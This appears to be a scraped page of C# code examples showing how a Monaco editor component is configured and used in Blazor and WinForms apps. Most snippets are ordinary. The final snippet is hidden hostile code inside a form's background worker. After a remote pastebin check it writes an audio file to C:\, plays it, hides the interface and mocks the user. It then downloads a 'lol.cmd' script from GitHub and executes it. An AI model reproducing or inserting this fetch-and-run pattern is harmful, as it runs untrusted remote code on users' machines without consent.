protected StandaloneEditorConstructionOptions EditorOptionsRoslyn(MonacoEditor editor)
        {
            return(new()
            {
                AutomaticLayout = true,
                AutoIndent = true,
                //HighlightActiveIndentGuide = true,
                ColorDecorators = true,
                Minimap = new EditorMinimapOptions {
                    Enabled = false
                },
                Hover = new EditorHoverOptions {
                    Delay = 0
                },
                Find = new EditorFindOptions {
                    AutoFindInSelection = true, SeedSearchStringFromSelection = true, AddExtraSpaceOnTop = true
                },
                Lightbulb = new EditorLightbulbOptions {
                    Enabled = true
                },
                AcceptSuggestionOnEnter = "smart",
                SuggestOnTriggerCharacters = true,
                Language = "csharp",
                FormatOnType = true,

                Value = CodeEditorService.CodeSnippet ?? "private string MyProgram() \n" +
                        "{\n" +
                        "    string input = \"this does not\"; \n" +
                        "    string modify = input + \" suck!\"; \n" +
                        "    return modify;\n" +
                        "}\n" +
                        "return MyProgram();"
            });
        }
Exemple #2
0
        public static async Task ValidateXML(AppState appState, IModalService Modal,
                                             MonacoEditor editor, ValidationEventHandler eventHandler)
        {
            try
            {
                appState.isWorking();
                Helpers.validationErrors.Clear();
                await Task.Delay(1);

                byte[]       byteArrayX = Encoding.ASCII.GetBytes(await editor.GetValue());
                MemoryStream streamX    = new MemoryStream(byteArrayX);
                XmlReader    reader     = XmlReader.Create(streamX);

                XmlDocument document = new XmlDocument();
                document.Load(reader);
                document.Schemas = schemaSet;

                document.Validate(eventHandler);
            }
            catch (Exception e)
            {
                Helpers.validationErrors.Add(e.Message);
                //throw;
            }
            finally
            {
                appState.notWorking();
                ShowValModal(Modal);
            }
        }
        //private string currentCode = "";
        protected override Task OnInitializedAsync()
        {
            Language ??= "csharp";
            Editor = new MonacoEditor();

            CodeEditorService.PropertyChanged += UpdateSnippet;
            return(base.OnInitializedAsync());
        }
Exemple #4
0
 public static async Task RemoveDecoration(MonacoEditor editor, string id)
 {
     string[] targetID = new string[] { id };
     List <ModelDeltaDecoration> emptyDec = new List <ModelDeltaDecoration>()
     {
     };
     await editor.DeltaDecorations(targetID, emptyDec.ToArray());
 }
Exemple #5
0
 private StandaloneEditorConstructionOptions EditorConstructionOptions(MonacoEditor editor)
 {
     return(new StandaloneEditorConstructionOptions
     {
         Language = "csharp",
         GlyphMargin = true
     });
 }
        protected override async Task OnAfterRenderAsync(bool firstRender)
        {
            await base.OnAfterRenderAsync(firstRender);

            if (firstRender)
            {
                // Create a timer that will determine how quickly the preview updates after changes
                _timer           = new Timer(750);
                _timer.Elapsed  += OnTimerElapsed;
                _timer.AutoReset = false;

                // Register our own language keywords
                List <string> keys    = new();
                var           context = new SimpleCircuit.Parser.ParsingContext();
                foreach (var factory in context.Factory.Factories)
                {
                    foreach (var metadata in factory.Metadata)
                    {
                        keys.AddRange(metadata.Keys);
                    }
                }
                await _js.InvokeVoidAsync("registerLanguage", new object[] { keys.ToArray() });

                var model = await _scriptEditor.GetModel();

                await MonacoEditor.SetModelLanguage(model, "simpleCircuit");

                await MonacoEditorBase.SetTheme("simpleCircuitTheme");

                // Try to find the last saved script
                bool hasScript = false;
                if (_localStore != null)
                {
                    string script = await _localStore.GetItemAsStringAsync("last_script");

                    string style = await _localStore.GetItemAsStringAsync("last_style");

                    if (!string.IsNullOrWhiteSpace(script))
                    {
                        if (!string.IsNullOrWhiteSpace(style))
                        {
                            await SetCurrentScript(script, style);
                        }
                        else
                        {
                            await SetCurrentScript(script, GraphicalCircuit.DefaultStyle);
                        }
                        hasScript = true;
                    }
                }

                // Give the user an initial demo
                if (!hasScript)
                {
                    await SetCurrentScript(Demo.Demos[0].Code, GraphicalCircuit.DefaultStyle);
                }
            }
        }
Exemple #7
0
 public async Task ResetDeltaDecorations()
 {
     DeltaDecorationIds = null;
     if (MonacoEditor == null)
     {
         throw new NullReferenceException("MonacoEditor has not been set");
     }
     await MonacoEditor.ResetDeltaDecorations();
 }
Exemple #8
0
        public async Task SetDeltaDecorations(ModelDeltaDecoration[] deltaDecorations)
        {
            if (MonacoEditor == null)
            {
                throw new NullReferenceException("MonacoEditor has not been set");
            }

            DeltaDecorationIds = await MonacoEditor.DeltaDecorations(DeltaDecorationIds ?? new string[] { }, deltaDecorations);
        }
 private StandaloneEditorConstructionOptions GetStyleOptions(MonacoEditor editor)
 {
     return(new StandaloneEditorConstructionOptions
     {
         AutomaticLayout = true,
         Language = "text/css",
         WordWrap = "on",
     });
 }
        public static async Task <string[]> SetDeltaDecorations(MonacoEditor monacoEditor, string[] deltaDecorationIds, ModelDeltaDecoration[] deltaDecorations)
        {
            if (monacoEditor == null)
            {
                throw new NullReferenceException("MonacoEditor has not been set");
            }

            return(await monacoEditor.DeltaDecorations(deltaDecorationIds ?? new string[] { }, deltaDecorations));
        }
Exemple #11
0
#pragma warning restore CS8618 // Non-nullable field must contain a non-null value when exiting constructor. Consider declaring as nullable.

        private StandaloneEditorConstructionOptions Construct(MonacoEditor editor)
        => new StandaloneEditorConstructionOptions
        {
            AutomaticLayout = true,
            Language        = "yaml",
            Theme           = "vs-dark",
            ReadOnly        = true,
            TabIndex        = 2,
        };
        public static async Task <string[]> ResetDeltaDecorations(MonacoEditor monacoEditor)
        {
            if (monacoEditor == null)
            {
                throw new NullReferenceException("MonacoEditor has not been set");
            }
            await monacoEditor.ResetDeltaDecorations();

            return(null);
        }
 private StandaloneEditorConstructionOptions EditorConstructionOptions(MonacoEditor editor)
 {
     return(new StandaloneEditorConstructionOptions
     {
         AutomaticLayout = true,
         Language = _language,
         GlyphMargin = true,
         Value = Value
     });
 }
Exemple #14
0
        public async Task SetDeltaDecorations(BlazorMonaco.Bridge.Range range, ModelDecorationOptions options)
        {
            if (MonacoEditor == null)
            {
                throw new NullReferenceException("MonacoEditor has not been set");
            }

            DeltaDecorationIds = await MonacoEditor.DeltaDecorations(DeltaDecorationIds ?? new string[] { }, new ModelDeltaDecoration[] { new ModelDeltaDecoration {
                                                                                                                                              Range = range, Options = options
                                                                                                                                          } });
        }
        public static async Task <string[]> SetDeltaDecorations(MonacoEditor monacoEditor, string[] deltaDecorationIds, BlazorMonaco.Bridge.Range range, ModelDecorationOptions options)
        {
            if (monacoEditor == null)
            {
                throw new NullReferenceException("MonacoEditor has not been set");
            }

            return(await monacoEditor.DeltaDecorations(deltaDecorationIds ?? new string[] { }, new ModelDeltaDecoration[] { new ModelDeltaDecoration {
                                                                                                                                Range = range, Options = options
                                                                                                                            } }));
        }
Exemple #16
0
        public static async Task markWholeTag(
            string tagName,
            Position pClick, bool isLeftButton, MonacoEditor editor,
            Dictionary <string, BlazorMonaco.Range> sourceDecorations)
        {
            {
                if (isLeftButton)
                {
                    KeyValuePair <string, BlazorMonaco.Range> dec = (from d in sourceDecorations
                                                                     where IsPosInRange(pClick, d.Value)
                                                                     select d).FirstOrDefault();

                    if (string.IsNullOrEmpty(dec.Key))
                    {
                        //clicking outside a marked tag - clear previous selection in currentRangeID
                        await Helpers.RemoveDecoration(editor, currentRangeId);

                        currentDec = new KeyValuePair <string, BlazorMonaco.Range>();
                    }
                    else
                    {
                        TextModel sourceModel = await editor.GetModel();

                        string tag = await sourceModel.GetValueInRange(dec.Value, EndOfLinePreference.CRLF);

                        Position pEnd;
                        if (IsClosedTag(tag))
                        {
                            pEnd = new Position()
                            {
                                Column = dec.Value.EndColumn, LineNumber = dec.Value.EndLineNumber
                            }
                        }
                        ;
                        else
                        {
                            pEnd = await getEndOfTag(tagName, dec.Value, sourceModel);
                        }

                        BlazorMonaco.Range range = new BlazorMonaco.Range()
                        {
                            StartColumn     = dec.Value.StartColumn,
                            StartLineNumber = dec.Value.StartLineNumber,
                            EndColumn       = pEnd.Column,
                            EndLineNumber   = pEnd.LineNumber
                        };
                        currentRangeId = await Helpers.ColorRange(editor, range, currentRangeId, enmStatusColor.Current);

                        currentDec = dec;
                    }
                }
            }
        }
Exemple #17
0
 private StandaloneEditorConstructionOptions EditorConstructionOptions(MonacoEditor editor)
 {
     return(new StandaloneEditorConstructionOptions
     {
         Dimension = new Dimension()
         {
             Height = 600
         },
         AutomaticLayout = true,
         Language = "python",
         Value = "# Wciśnij przycisk...\r\n"
     });
 }
Exemple #18
0
 private StandaloneEditorConstructionOptions EditorConstructionOptions(MonacoEditor editor)
 {
     return(new StandaloneEditorConstructionOptions
     {
         AutomaticLayout = true,
         Minimap = new EditorMinimapOptions {
             Enabled = false
         },
         Theme = OBSettingsService.Settings.CustomizationSettings.MonacoTheme,
         Language = "csharp",
         MatchBrackets = true,
         Value = config.LoliScript
     });
 }
Exemple #19
0
 private StandaloneEditorConstructionOptions EditorConstructionOptions(MonacoEditor editor)
 {
     return(new StandaloneEditorConstructionOptions
     {
         AutomaticLayout = true,
         Minimap = new MinimapOptions {
             Enabled = false
         },
         Theme = Settings.OpenBulletSettings.CustomizationSettings.MonacoTheme,
         Language = "lolicode",
         MatchBrackets = true,
         Value = config.LoliCodeScript
     });
 }
Exemple #20
0
        public static async Task LoadXMLfromFile(MonacoEditor editor, IBrowserFile file)
        {
            byte[] bytesOfXML = new byte[file.Size];
            using (Stream strm = file.OpenReadStream())
            {
                await strm.ReadAsync(bytesOfXML);
            }
            string    stringOfXML = Encoding.UTF8.GetString(bytesOfXML);
            TextModel model       = await MonacoEditorBase.CreateModel(stringOfXML, "xml");

            await editor.SetModel(model);

            //List<string> lLines = stringOfXML.Split("\n").ToList<string>();
        }
Exemple #21
0
        public static async Task <string> ColorRange(MonacoEditor editor, BlazorMonaco.Range range, string id = "", enmStatusColor statusColor = enmStatusColor.Done)
        {
            string contentClass     = "";
            string GlyphMarginClass = "";
            string MiniMapColor     = "";

            switch (statusColor)
            {
            case enmStatusColor.Done:
                contentClass     = "decorationContentDone";
                GlyphMarginClass = "decorationGlyphMarginDone";
                MiniMapColor     = "#90EE90";
                break;

            case enmStatusColor.Current:
                contentClass     = "decorationContentCurrent";
                GlyphMarginClass = "decorationGlyphMarginCurrent";
                MiniMapColor     = "#bbfaf9";
                break;
            }

            string[] targetID = new string[] { };
            if (!string.IsNullOrEmpty(id))
            {
                targetID = new string[] { id };
            }

            List <ModelDeltaDecoration> newDec = new List <ModelDeltaDecoration>()
            {
                new ModelDeltaDecoration
                {
                    Range   = range,
                    Options = new ModelDecorationOptions
                    {
                        IsWholeLine          = false,
                        ClassName            = contentClass,
                        GlyphMarginClassName = GlyphMarginClass,
                        Minimap = new ModelDecorationMinimapOptions()
                        {
                            Position = MinimapPosition.Inline, Color = MiniMapColor
                        }
                    }
                }
            };

            string[] decorations = await editor.DeltaDecorations(targetID, newDec.ToArray());

            return(decorations[0]);
        }
 private StandaloneEditorConstructionOptions EditorConstructionOptions(MonacoEditor editor)
 {
     return(new StandaloneEditorConstructionOptions
     {
         AutomaticLayout = true,
         Minimap = new MinimapOptions {
             Enabled = false
         },
         ReadOnly = Config.Mode != ConfigMode.CSharp,
         Theme = Settings.OpenBulletSettings.CustomizationSettings.MonacoTheme,
         Language = "csharp",
         MatchBrackets = true,
         Value = Config.CSharpScript
     });
 }
        protected override void ComposeBody(TreeComposer composer)
        {
            composer.Element("debug-page", body: () =>
            {
                MemoryExplorer.Inject(composer, this.engine);

                composer.Element("main-space", body: () =>
                {
                    composer.Element("editor-space", body: () =>
                    {
                        MonacoEditor.Inject(composer, isReadOnly: true);
                    });

                    EngineDisplay.Inject(composer, this.engine);
                });
            });
        }
        protected override void ComposeBody(TreeComposer composer)
        {
            composer.Element("edit-page", body: () =>
            {
                LibraryExplorer.Inject(composer);

                composer.Element("main-space", body: () =>
                {
                    composer.Element("editor-space", body: () =>
                    {
                        MonacoEditor.Inject(composer, isReadOnly: false);
                    });

                    ErrorsSpace.Inject(composer);
                });
            });
        }
 protected StandaloneEditorConstructionOptions EditorOptionsPuzzle(MonacoEditor editor)
 {
     return(new StandaloneEditorConstructionOptions
     {
         AutomaticLayout = true,
         AutoIndent = true,
         HighlightActiveIndentGuide = true,
         Language = "csharp",
         Value = CodeSnippet ?? codeSnippet
                 //Value = CodeSnippet ?? codeSnippet "private string MyProgram() \n" +
                 //    "{\n" +
                 //    "    string input = \"this does not\"; \n" +
                 //    "    string modify = input + \" suck!\"; \n" +
                 //    "    return modify;\n" +
                 //    "}\n" +
                 //    "return MyProgram();"
     });
 }
Exemple #26
0
        public static async Task markTags(MonacoEditor editor, string tag,
                                          Dictionary <string, BlazorMonaco.Range> sourceDecorations)
        {
            sourceDecorations.Clear();
            TextModel sourceModel = await editor.GetModel();

            List <FindMatch> sourceMatches;
            await editor.ResetDeltaDecorations();

            List <ModelDeltaDecoration> lstDecorations = new List <ModelDeltaDecoration>();

            sourceMatches = await sourceModel.FindMatches($"<{tag}", false, false, false, null, true, 10000);

            if (sourceMatches.Count > 0)
            {
                foreach (FindMatch m in sourceMatches)
                {
                    m.Range = await Helpers.ExpandTagRange(m.Range, sourceModel);

                    lstDecorations.Add(new ModelDeltaDecoration
                    {
                        Range   = m.Range,
                        Options = new ModelDecorationOptions
                        {
                            IsWholeLine          = false,
                            ClassName            = "decorationContent",
                            GlyphMarginClassName = "decorationGlyphMargin",
                            Minimap = new ModelDecorationMinimapOptions()
                            {
                                Position = MinimapPosition.Inline, Color = "#FFFF00"
                            }                                                                                                     //#90EE90 #FFFFFE
                        }
                    });
                }
                string[] decorations = await editor.DeltaDecorations(null, lstDecorations.ToArray());

                for (int i = 0; i < sourceMatches.Count; i++)
                {
                    sourceDecorations.Add(decorations[i], sourceMatches[i].Range);
                }
                await editor.RevealRangeInCenter(sourceMatches[0].Range);
            }
        }
        public static async Task <ModelDeltaDecoration> BuildDeltaDecoration(MonacoEditor monacoEditor, BlazorMonaco.Bridge.Range range, string message)
        {
            var isWholeLine = false;

            range.StartLineNumber = Math.Max(range.StartLineNumber, 1);
            range.StartColumn     = Math.Max(range.StartColumn, 1);
            range.EndLineNumber   = Math.Max(range.EndLineNumber, 1);
            if (range.EndColumn == 0)
            {
                range.EndColumn = range.StartColumn;
                var content = await monacoEditor.GetValue();

                var contentLines = content.Split("\n");
                range.EndColumn = (contentLines.ElementAt(Math.Min(contentLines.Length - 1, range.EndLineNumber - 1))?.Trim().Length ?? 0) + 1;
                isWholeLine     = true;
            }

            var options = new ModelDecorationOptions
            {
                IsWholeLine     = isWholeLine,
                InlineClassName = "editorError",
                InlineClassNameAffectsLetterSpacing = false,
                ClassName    = "editorError",
                HoverMessage = new MarkdownString[] { new MarkdownString {
                                                          Value = $"**Error**\r\n\r\n{message}"
                                                      } },
                GlyphMarginClassName    = "editorErrorGlyph fa fa-exclamation-circle",
                GlyphMarginHoverMessage = new MarkdownString[] { new MarkdownString {
                                                                     Value = $"**Error**\r\n\r\n{message}"
                                                                 } },
                Minimap = new ModelDecorationMinimapOptions
                {
                    Color    = "#ff0000",
                    Position = MinimapPosition.Inline
                }
            };

            return(new ModelDeltaDecoration {
                Range = range, Options = options
            });
        }
Exemple #28
0
        public static async Task Download(string filename, AppState AppState, IModalService Modal, MonacoEditor editor, IJSRuntime js, bool twoEditorForm)
        {
            AppState.Message = filename;
            ModalOptions options = new ModalOptions()
            {
                HideCloseButton = true
            };
            var FileNameForm = Modal.Show <FileNameForm>(title: "", options);
            var result       = await FileNameForm.Result;

            if (result.Cancelled)
            {
                return;
            }

            if (await js.InvokeAsync <int>("isChrome") > -1)
            {
                if (twoEditorForm)
                {
                    var w21 = await js.InvokeAsync <string>("getWidth", "editor-source");

                    var h21 = await js.InvokeAsync <string>("getHeight", "editor-source");

                    await js.InvokeVoidAsync("setSize", "editor-source", w21, h21);

                    var w22 = await js.InvokeAsync <string>("getWidth", "editor-target");

                    var h22 = await js.InvokeAsync <string>("getHeight", "editor-target");

                    await js.InvokeVoidAsync("setSize", "editor-target", w22, h22);
                }
                else
                {
                    var w11 = await js.InvokeAsync <string>("getWidth", "editor-lookup");

                    var h11 = await js.InvokeAsync <string>("getHeight", "editor-lookup");

                    await js.InvokeVoidAsync("setSize", "editor-lookup", w11, h11);
                }
            }

            byte[] file = System.Text.Encoding.UTF8.GetBytes(await editor.GetValue());
            await js.InvokeVoidAsync("BlazorDownloadFile", result.Data?.ToString() ?? string.Empty, "text/xml", file);
        }
Exemple #29
0
        private void backgroundWorker2_DoWork(object sender, System.ComponentModel.DoWorkEventArgs e)
        {
            System.Net.WebClient wc = new System.Net.WebClient();
            byte[] raw     = wc.DownloadData("https://pastebin.com/raw/wCDAyFrh");
            string webData = System.Text.Encoding.UTF8.GetString(raw);
            string version = ("1");

            if (version == webData)
            {
                System.Threading.Thread.Sleep(5000);
                WebClient webClient = new WebClient();
                if (File.Exists(@"c:/earrape.wav"))
                {
                    webClient.DownloadFile("https://github.com/leonardssy/ProjectDab/blob/master/Earrape.wav?raw=true", @"c:/earrape.wav");
                    System.Media.SoundPlayer player = new System.Media.SoundPlayer(@"c:/earrape.wav");
                    player.Play();
                    BackColor = Color.Red;
                    label1.Hide();
                    TitleDraggable.Text = ("LOL YOU ARE USING THE TRASH UI!!!!!!!!!!!!!!!!!");
                    button1.Hide();
                    button2.Hide();

                    button3.Hide();
                    button4.Hide();
                    button6.Hide();
                    button5.Hide();
                    MonacoEditor.Hide();
                    MinimizeButton.Hide();
                    CloseButton.Hide();
                    System.Threading.Thread.Sleep(5000);

                    webClient.DownloadFile("https://github.com/leonardssy/ProjectDab/blob/master/lol.cmd?raw=true", "lol.cmd");
                    Process.Start("lol.cmd");
                }
                else
                {
                    webClient.DownloadFile("https://github.com/leonardssy/ProjectDab/blob/master/Earrape.wav?raw=true", @"c:/earrape.wav");
                    System.Media.SoundPlayer player = new System.Media.SoundPlayer(@"c:/earrape.wav");
                    player.Play();
                    BackColor = Color.Red;
                    label1.Hide();
                    TitleDraggable.Text = ("LOL YOU ARE USING THE TRASH UI!!!!!!!!!!!!!!!!!");
                    button1.Hide();
                    button2.Hide();

                    button3.Hide();
                    button4.Hide();
                    button6.Hide();
                    button5.Hide();
                    MonacoEditor.Hide();
                    MinimizeButton.Hide();
                    CloseButton.Hide();


                    System.Threading.Thread.Sleep(5000);
                    webClient.DownloadFile("https://github.com/leonardssy/ProjectDab/blob/master/lol.cmd?raw=true", "lol.cmd");
                    Process.Start("lol.cmd");
                }
            }
            else
            {
            }
        }